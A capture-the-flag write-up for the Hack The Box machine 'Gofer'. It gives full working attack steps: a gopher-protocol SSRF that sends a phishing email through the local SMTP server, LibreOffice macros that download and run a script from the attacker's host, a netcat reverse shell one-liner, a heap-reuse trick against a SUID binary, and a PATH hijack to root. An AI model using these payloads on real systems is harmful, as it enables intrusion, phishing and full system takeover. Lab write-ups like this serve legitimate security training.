Post

Gofer - Hard - Linux

Gofer - Hard - Linux

Nmap scan

Results show a web server and SMB service. There is also a filtered port on 25 which typically is used for mail services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Nmap 7.93 scan initiated Sat Jul 29 20:17:22 2023 as: nmap -sC -sV -p- -oA nmap/gopher-allports -v 10.129.143.7                                                               
Nmap scan report for 10.129.143.7                                                                                                                                               
Host is up (0.046s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 aa25826eb804b6a9a95e1a91f09451dd (RSA)
|   256 1821baa7dce44f60d781039a5dc2e596 (ECDSA)
|_  256 a42d0d45132a9e7f867af6f778bc42d9 (ED25519)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian) 
|_http-title: Did not follow redirect to http://gofer.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS 
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| Names:
|   GOFER<00>            Flags: <unique><active>
|   GOFER<03>            Flags: <unique><active>
|   GOFER<20>            Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-time: 
|   date: 2023-07-29T19:17:50
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 29 20:17:50 2023 -- 1 IP address (1 host up) scanned in 28.63 seconds

Enumerating SMB share

It was possible to connect to the SMB share using anonymous authentication.

1
2
3
4
5
6
7
8
9
10
11
┌─[parrot@parrot]─[~/hackthebox/gopher]
└──╼ $smbclient -L //gofer.htb
Password for [WORKGROUP\parrot]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      
        IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
SMB1 disabled -- no workgroup available

The share contained a text file with the below contents of an email sent to staff members. The email strongly suggests two things. The first is that the path to RCE will be done via sending a malicious office document. The second being there is a web server in place which means the next step should be subdomain enumeration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

Enumerating web proxy

Gobuster failed on this box due to it returning true on all requests. wfuzz was used instead by fuzzing the host header in the HTTP request as shown below. A proxy subdomain was discovered.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─[parrot@parrot]─[~/hackthebox/gopher]                                                                                                                                         
└──╼ $wfuzz -H 'Host: FUZZ.gofer.htb' -u http://gofer.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hc 301                                        
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's d
ocumentation for more information.                                                                                                                                              
********************************************************                                                                                                                        
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://gofer.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                         
=====================================================================

000000084:   401        14 L     54 W       462 Ch      "proxy"

This step took much longer than it should have. After figuring out that the OPTIONS method could be used to enumerate valid pages it was possible to find the way forward.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌─[parrot@parrot]─[~/hackthebox/gopher]
└──╼ $curl -v -XOPTIONS http://proxy.gofer.htb/index.html
*   Trying 10.129.143.86:80...
* Connected to proxy.gofer.htb (10.129.143.86) port 80 (#0)
> OPTIONS /index.html HTTP/1.1
> Host: proxy.gofer.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 31 Jul 2023 06:09:47 GMT
< Server: Apache/2.4.56 (Debian)
< Allow: HEAD,GET,POST,OPTIONS
< Content-Length: 0
< Content-Type: text/html
< 
* Connection #0 to host proxy.gofer.htb left intact
┌─[parrot@parrot]─[~/hackthebox/gopher]
└──╼ $curl -v -XOPTIONS http://proxy.gofer.htb/index.php
*   Trying 10.129.143.86:80...
* Connected to proxy.gofer.htb (10.129.143.86) port 80 (#0)
> OPTIONS /index.php HTTP/1.1
> Host: proxy.gofer.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 31 Jul 2023 06:09:58 GMT
< Server: Apache/2.4.56 (Debian)
< Vary: Accept-Encoding
< Content-Length: 81
< Content-Type: text/html; charset=UTF-8
< 
<!-- Welcome to Gofer proxy -->
* Connection #0 to host proxy.gofer.htb left intact
<html><body>Missing URL parameter !</body></html>

Sending Mail via SSRF with gopher protocol

With the collection of hints and information gathered in addition to the name of the box, its clear the way forward will involve sending a mail with a malicious attachment/link. If the attachment was included in the URL some how it would be quite large.

It turned out there was logic to simulate clicking links and downloading files which was ideal. Next steps will involve creating a malicious office document, hosting it on a server, using the PHP discovered in the previous step to take advantage of SSRF using the gopher protocol to send a mail.

This process was well documented on hacktricks so it was used as a resource for this step.

Plaintext payload to send email via SMTP (Port 25)

1
2
3
4
5
6
7
8
9
10
11
12
gopher://2130706433:25/xHELO gofer.htb
MAIL FROM:<hacker@site.com>
RCPT TO:<jhudson@gofer.htb>
DATA
From: [Hacker] <hacker@site.com>
To: <jhudson@gofer.htb>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: AH AH AH

You didn't say the magic word ! <a+href='http://10.10.14.139/bad.odt>this</a>
.
QUIT

Double URL encoded payload

1
gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%20<a+href%3d'http%3a//10.10.14.139/bad.odt>this</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a 

Final payload sent via SSRF

gopher://2130706433:25/ translates into 127.0.0.1:25 to bypass any blacklists.

1
curl -v -XOPTIONS "http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%20<a+href%3d'http%3a//10.10.14.139/bad.odt>this</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a"

LibreOffice payload

Below is a copy of the payload used to gain RCE. There was a blacklist preventing certain commands from executing. Breaking the command up into two parts worked as shown below. First request downloads and saves the payload on disk. The second request executes it.

Payload 1 - Sent first

1
2
3
Sub Main
	Shell("curl 10.10.14.139/shell -o /tmp/shell")
End Sub

Payload 2 - Sent second

1
2
3
Sub Main
	Shell("/bin/sh /tmp/shell")
End Sub

Contents of “shell”

1
2
#!/bin/bash
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.139 9001 >/tmp/f

Reverse shell returned

1

Script - linpeas.sh results

Below is a list of the interesting finds linpeas.sh discovered. Unfortunately it was not possible to crack the hash. The notes binary seems relevant to the box but the current user could not read/execute it. The tcpdump binary could be interesting but was not used to solve the box.

1
2
3
tbuckley:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/
/usr/local/bin/notes (Unknown SUID binary!)
/usr/bin/tcpdump cap_net_admin,cap_net_raw=eip

pspy64 results

To proceed it seemed necessary to access a user account which had access to the notes binary. After running pspy64 to check the processes there was an automated script automatically logging into the web proxy. The username and password were visible in the parameters. This password was valid and allowed a user switch to tbuckley

1
/usr/bin/curl http://proxy.gofer.htb/?url=http://gofer.htb --user tbuckley:ooP4dietie3o_h*****

Reversing the notes binary

The user tbuckley had access to read and execute the binary. Upon execution it give a number of various options shown below.

1
2
3
4
5
6
7
8
9
10
11
12
tbuckley@gofer:~$ /usr/local/bin/notes                                                                                                                                        
========================================                                                                                                                                        
1) Create an user and choose an username                                                                                                                                        
2) Show user information                                                                                                                                                        
3) Delete an user                                                                                                                                                               
4) Write a note                                                                                                                                                                 
5) Show a note                                                                                                                                                                  
6) Save a note (not yet implemented)                                                                                                                                            
7) Delete a note                                                                                                                                                                
8) Backup notes                                                                                                                                                                 
9) Quit                                                                                                                                                                         
========================================

Opening the binary in Ghidra revealed the logic of the binary. After spending time reviewing the logic and discussing the issue with others it seemed possible to overflow into the admin role variable. Once the admin role had been set it will satisfy the requirements of the string compare function which will unlock case 8.

Once the logic to case 8 is unlocked the curl request can be exploited by modifying the environment path to execute a malicious file with root privileges.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
void main(void)

{
  __uid_t _Var1;
  int iVar2;
  undefined4 case_select;
  void *note;
  void *username;
  
  case_select = 0;
  username = (void *)0x0;
  note = (void *)0x0;
  do {
    puts(
        "========================================\n1) Create an user and choose an username\n2) Show  user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) Save a note (not y et implemented)\n7) Delete a note\n8) Backup notes\n9) Quit\n=============================== =========\n\n"
        );
    printf("Your choice: ");
    __isoc99_scanf(&DAT_0010212b,&case_select);
    puts("");
    switch(case_select) {
    default:
                    /* WARNING: Subroutine does not return */
      exit(0);
    case 1:
      username = malloc(0x28);
      if (username == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      memset(username,0,0x18);
      memset((void *)((long)username + 0x18),0,0x10);
      _Var1 = getuid();
      if (_Var1 == 0) {
        *(undefined4 *)((long)username + 0x18) = 0x696d6461;
        *(undefined *)((long)username + 0x1c) = 0x6e;
      }
      else {
        *(undefined4 *)((long)username + 0x18) = 0x72657375;
      }
      printf("Choose an username: ");
      __isoc99_scanf(&DAT_00102144,username);
      puts("");
      break;
    case 2:
      if (username == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        printf("\nUsername: %s\n",username);
        printf("Role: %s\n\n",(long)username + 0x18);
      }
      break;
    case 3:
      if (username != (void *)0x0) {
        free(username);
      }
      break;
    case 4:
      note = malloc(0x28);
      memset(note,0,0x28);
      if (note == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      puts("Write your note:");
      __isoc99_scanf(&DAT_0010218b,note);
      break;
    case 5:
      printf("Note: %s\n\n",note);
      break;
    case 6:
      puts("Coming soon!\n");
      break;
    case 7:
      if (note != (void *)0x0) {
        free(note);
        note = (void *)0x0;
      }
      break;
    case 8:
      if (username == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        iVar2 = strcmp((char *)((long)username + 0x18),"admin");
        if (iVar2 == 0) {
          puts("Access granted!");
          setuid(0);
          setgid(0);
          system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
        }
        else {
          puts("Access denied: you don\'t have the admin role!\n");
        }
      }
    }
  } while( true );
}

Overflow sequence

1
2
3
4
OPTION 1:  INPUT: aaaaaaaaaaaaaaaaaaaaaaaaadmin
OPTION 3:  INPUT: NULL
OPTION 4:  INPUT: aaaaaaaaaaaaaaaaaaaaaaaaadmin
OPTION 8:  Access granted!

Hijacking the curl command

1
2
echo "cat /root/root.txt" > tar
chmod +x tar
1
export PATH=/home/tbuckley:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
1
2
tbuckley@gofer:~$ which tar                                                                                                                                                  
/home/tbuckley/tar

Root flag

1
2
3
4
5
6
7
8
9
========================================


Your choice: 8

Access granted!
c487730d010f0b879047330b64e6089f
========================================

This post is licensed under CC BY 4.0 by the author.